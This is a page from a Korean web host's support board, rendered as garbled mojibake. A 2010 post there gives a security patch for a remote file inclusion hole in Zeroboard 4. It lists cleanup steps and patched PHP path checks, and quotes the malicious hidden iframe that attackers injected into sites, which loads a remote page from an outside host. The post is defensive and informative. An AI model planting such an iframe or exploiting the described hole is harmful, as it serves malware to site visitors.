¸¶·çÀ¥È£½ºÆà :: À¥È£½ºÆÃ, µµ¸ÞÀÎ µî·Ï, ¼îÇθô È£½ºÆÃ, À̹ÌÁö ¸µÅ©, ¼­¹ö È£½ºÆÃ, ÄÚ·ÎÄÉÀ̼Ç, ¼­¹ö°ü¸®Åø, ¸®¼¿·¯, ȨÆäÀÌÁö Á¦ÀÛ, ¹«·áÈ£½ºÆà Á¦°ø
140-008-011577
 
140-008-011577
ÀÔ±ÝÈ®ÀνÅû ½ÅûÇöȲº¸±â

°í°´Áö¿ø¼¾ÅÍ

1:1 ¹®ÀÇÇϱâ
  • AM 09:00 ~ PM 05:00
  • AM 11:30 ~ PM 01:00

Q&A °Ô½ÃÆÇ



  2010³â 12¿ù 22ÀÏ RFI Ãë¾àÁ¡ º¸¾È ÆÐÄ¡
  ±èº´À±   2010-12-22 16:29:23 38893 

2010³â 12¿ù 22ÀÏ RFI Ãë¾àÁ¡ º¸¾È ÆÐÄ¡

1. bbs/icon Æú´õ¿¡ »ý¼ºµÈ group_qazwsxedc.jpg, visitLog.php ÆÄÀÏ »èÁ¦
2. html, php ÆÄÀÏ¿¡ »ðÀÔµÈ iframe ¼Ò½º »èÁ¦
3. °ü¸®ÀÚ ÆäÀÌÁö¸¦ ÅëÇØ qazwsxedc ±×·ì »èÁ¦
4. Á¦·Îº¸µå¼³Ä¡Æú´õ/_head.php ÆÄÀÏÀÇ 13¹ø° ÁÙ ¼Ò½º º¯°æ(°ø½Ä º¸¾È ÆÐÄ¡ ÆäÀÌÁö Âü°í)
5. Á¦·Îº¸µå¼³Ä¡Æú´õ/skin/zero_vote/ask_password.php / error.php / login.php ÆÄÀÏÀÇ 2¹ø° ÁÙ ¼Ò½º °¢°¢ º¯°æ(°ø½Ä º¸¾È ÆÐÄ¡ ÆäÀÌÁö Âü°í)

¡Ø Á¦·Îº¸µå °ø½Ä º¸¾È ÆÐÄ¡
http://www.xpressengine.com/zb4_security/19346851

Á¦·Îº¸µå4 pl9 ¹öÀü¿¡¼­ RFI (¿ø°ÝÆÄÀÏ ÀÎŬ·çµå) Ãë¾àÁ¡ÀÌ ¹ß°ßµÇ¾ú½À´Ï´Ù.

Àå°æĨ´Ô²²¼­ Á¦º¸ÇØÁֽŠ³»¿ëÀÔ´Ï´Ù.

_head.php ÆÄÀÏ°ú skin/zero_vote/*.php ÆÄÀÏ¿¡ ´ëÇØ ¾Æ·¡ ³»¿ëÀ¸·Î ÄÚµå ¼öÁ¤À» ÅëÇÑ ÆÐÄ¡¸¦ ±Çµå¸³´Ï´Ù.

_head.php

[¼öÁ¤Àü]

_head.php
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)) $_zb_path ="./";

[¼öÁ¤ÈÄ]

_head.php: ¹®ÀÚ°¡ $_zb_path¿¡ Æ÷ÇÔµÇÁö ¾Êµµ·Ï ¼öÁ¤
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)||eregi(":",$_zb_path)) $_zb_path ="./";


skin/zero_vote/ µð·ºÅ丮ÀÇ ¾Æ·¡¿¡ ÇØ´çµÇ´Â .php ÆÄÀÏ

        - ask_password.php

        - error.php

        - login.php

[¼öÁ¤Àü]

./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)) $dir ="./";

[¼öÁ¤ÈÄ]

./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)||eregi(":",$dir)) $dir ="./";

--------------------------------------------------------------------------------------------



À̹ø´Þ Áß¼ø °æºÎÅÍ ¾Ç¼º À¥º¯Á¶°¡ ÀÖ¾ú½À´Ï´Ù.

Á¦ »çÀÌÆ®µµ ¹°·Ð ´çÇß±¸¿ä.

Áõ»óÀº main°ú index¸¦ Æ÷ÇÔÇÑ .html .php ÆÄÀÏ ÇÏ´Ü¿¡ ¾Æ·¡ ¾Ç¼ºÄڵ尡 ½É¾îÁý´Ï´Ù.
<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>

Àú °°Àº °æ¿ì config.php lib.php ÆÄÀÏ¿¡µµ iframe »ðÀÔ µÇ¾î ÀÖ¾ú½À´Ï´Ù.

±×¸®°í, bbs/icon Æú´õ¿¡ group_qazwsxedc.jpg, visitLog.php ÆÄÀÏÀÌ »ý¼ºµÇ±¸¿ä.

¡Ú data Æú´õ¿¡´Â visitLog.php ÆÄÀϸ¸ »ý¼ºµÇ¾î ÀÖ¾ú±¸¿ä.

¶ÇÇÑ ÃÖ°í°ü¸®ÀÚ ·Î±×ÀÎ ÈÄ ±×·ìº° Çì´õ ÀÎÅ©·çµå ºÎºÐ¿¡¼­ iframe űװ¡ »ðÀÔÀÌ µÊ´Ï´Ù.


¾Ç¼ºÄڵ尡 ½É¾îÁø »çÀÌÆ® Á¢¼ÓÇÏ¸é ¹«ÇѷεùÀ̳ª ÀúÁú·Îµù(^^;) ¶Ç´Â ¹ÙÀÌ·¯½º °¨ÁöµÊ´Ï´Ù.

±×Àü¿¡ ÆÐÄ¡ ÇØÁÖ¸é ÁÁ°ÚÁÒ..^^

Âü°í·Î Á¦·Îº¸µå4¿¡¸¸ ÇØ´çµÊ´Ï´Ù.




¾È³çÇϼ¼¿ä ¸¶·çÀÎÅͳÝÀÔ´Ï´Ù,

ÁÁÀº Á¤º¸ °¨»çÇÕ´Ï´Ù.
2010-12-22
 


15242  1³â ¿¬Àå½ÅûÇß½¿´Ù Çà»çÇýÅà Çϵå¿ë·®¿Ã·ÁÁÖ¼¼¿ä  [1]    ÀÓ´ëÇõ 2005/08/10 5707
15241  1³â ¿¬Àå½ÅûÇß½À´Ï´Ù. Çà»çÇýÅÃÀ¸·Î Çϵå¿ë·® ¿Ã·ÁÁÖ¼¼¿ä  [1]    ÇѱÔÈ£ 2005/08/10 6984
15240  1³â ¿¬ÀåÇÏ¿´½À´Ï´Ù.  [2]    Çö½Â±Ù 2005/08/09 7554
15239  1³â¿¬Àå½ÅûÇß½À´Ï´Ù.  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   ¸ðºñ³Ø½º 2005/08/09 3
15238  1´ë 1 °Ô½ÃÆÇ¿¡ ¹®ÀÇ ´äº¯ÀÌ ¾ø¾î ¿©±â´Ù ³²°Ü¿ä  [9] ºñ¹Ð±ÛÀÔ´Ï´Ù   ÇãÇؼø 2009/01/16 42
15237  1´ëÀÏ °Ô½ÃÆÇÀÌ ¾ÈµÇ¼­ ¿©±â´Ù ³²±é´Ï´Ù  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   Á¦¿ø¿ì 2009/03/02 9
15236  1½ÃÂë ÅëÈ­Çؼ­ ½ÊºÐµÚ¿¡ ¼ÂÆà µÈ´Ù°í Çߴµ¥ ¾ÆÁ÷µµ ¾ÈµÇ¿©...``      À̵¿ÁÖ 2004/12/13 5696
15235  1¿ù 21ÀÏ ÀüÈ­ÀÀ´ë ºÒ°¡ °øÁöÀÔ´Ï´Ù.       2005/01/20 6237
15234  1Â÷ µµ¸ÞÀÎ...2Â÷´Â Á¢¼ÓÀÌ µË´Ï´Ù..      ÀÌÇöÆÈ 2004/04/03 7036
15233  1Â÷µµ¸ÞÀÎ ¿¬°á°ü·Ã  [2] ºñ¹Ð±ÛÀÔ´Ï´Ù   À̱¤¿À 2018/12/29 18
15232  1Â÷µµ¸ÞÀÎ ¿¬°á¿äû  [3] ºñ¹Ð±ÛÀÔ´Ï´Ù   À̱¤¿À 2011/06/15 14
15231  1Â÷µµ¸ÞÀÎ ¿¬°á¿äû°Ç  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   °­ÅÂÀ± 2012/02/02 6
15230  1Â÷µµ¸ÞÀÎ ¿¬°áÀ¯¹« È®Àοäû  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   À̱¤¿À 2011/01/03 16
15229  1Â÷µµ¸ÞÀÎ Ãß°¡ ¿¬°á¿äû°Ç  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   °­ÅÂÀ± 2012/02/02 5
15228  2 °¡Áö ¿äû»çÇ×..^^ ºÎŹµå¸³´Ï´Ù.  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   ¹ÚÁÖÈì 2004/09/21 10
15227  2/23ÀÏ ÀԱݿÀ·ù°Ç ȯºÒ¿äû  [1]    ±èÁß¹è 2013/10/25 7175
15226  2005³â3¿ù22ÀÏ ÀÔ±ÝÇß½À´Ï´Ù.  [1]    Á¤Á¤¿î 2005/03/28 5600
15225  2006³â 4¿ù 12ÀÏ ¹èÆ÷µÉ ¿¹Á¤ÀÎ IE ¼³°èº¯°æ°Ç...  [1]    ·ù¼º¿ë 2006/04/01 5563
15224  2007³â 2¿ù 5ÀÏ Àå¾Ö ¹ß»ý °æÀ§ ¹× ´ëÀÀ°ú »ç°úÀÇ ¸»¾¸       2007/02/06 9251
15223  2008³â 1/4ºÐ±â(01¿ù~03¿ù) ¼¼±Ý°è»ê¼­ ¹ßÇà ¸¶°¨ ¾È³».       2008/04/08 5951
15222  2009³â 1ºÐ±â ¼¼±Ý°è»ê¼­ ¹ßÇà ¾È³» (4¿ù 10ÀϱîÁö)       2009/04/07 5489
15221  2009³âºÎÅÍ È£½ºÆà »ç¿ëÇߴµ¥ ¾îÀÌ°¡ ¾ø³×¿ä.  [3] ºñ¹Ð±ÛÀÔ´Ï´Ù   ±Ç¹Î¿µ 2016/11/23 23
 2010³â 12¿ù 22ÀÏ RFI Ãë¾àÁ¡ º¸¾È ÆÐÄ¡  [1]    ±èº´À± 2010/12/22 38893
15219  2010¾Æ¿ô·è¼¼Æù®ÀÇ¿ä..  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   ±Ç¿µ¿ø 2010/06/21 10
15218  211.49.170.12 (maruge2) ¼­¹ö Àå¾Ö ¾È³» (¿Ï·á)       2011/12/02 7679
15217  211.49.170.149 ¸®´ª½º ¼­¹öÆнº¿öµå ÃʱâÈ­¿äû  [1] ºñ¹Ð±ÛÀÔ´Ï´Ù   Á¤¼±¿õ 2015/03/10 36

 [1][2][3][4][5][6] 7 [8][9][10]..[593]